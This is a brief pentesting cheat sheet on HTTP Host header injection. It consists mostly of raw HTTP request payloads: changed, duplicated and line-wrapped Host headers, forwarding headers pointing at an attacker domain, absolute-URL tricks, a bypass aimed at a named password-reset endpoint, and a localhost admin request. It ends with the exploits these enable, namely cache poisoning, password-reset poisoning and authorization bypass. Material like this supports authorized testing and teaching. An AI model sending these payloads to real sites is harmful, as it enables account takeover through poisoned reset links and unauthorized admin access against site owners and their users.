# Host Header

## payload:

1.Using user:password\@technique:

```
GET @private-intranet/example HTTP/1.1
Host: website.com
```

2.Change the host header:

```
GET /index.php HTTP/1.1
Host: evil-website.com
...
```

3.Duplicating:

```
GET /index.php HTTP/1.1
Host: vulnerable-website.com
Host: evil-website.com
...
```

4.Add line wraping:

```
GET /index.php HTTP/1.1
 Host: vulnerable-website.com
Host: evil-website.com
...
```

5.Add host override headers:

```
X-Forwarded-For: evil-website.com
X-Forwarded-Host: evil-website.com
X-Client-IP: evil-website.com
X-Remote-IP: evil-website.com
X-Remote-Addr: evil-website.com
X-Host: evil-website.com
```

5. Supply an absolute URL

```
GET https://vulnerable-website.com/ HTTP/1.1
Host: evil-website.com
...
```

6.baypass:

```
POST /en-US/firefox/users/pwreset HTTP/1.1
Host: addons.mozilla.org: www.securepasswordreset.com

      or
www.example.com: 12.34.56.78
intranet.example.com: 10.0.0.132
```

7.localhost header

```
GET /admin HTTP/1.1
Host: localhost
...
```

Header used for this:

```
X-Host
X-Forwarded-Server
X-HTTP-Host-Override
Forwarded

```

{% hint style="info" %}
http param miner is used for guess the header
{% endhint %}

### possible exploit:

1. Web cache poisoning
2. password reset poisoning (server sent attacker controlled host name in access token instead his host name)
3. bypass authorization ,such as admin access


---

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```

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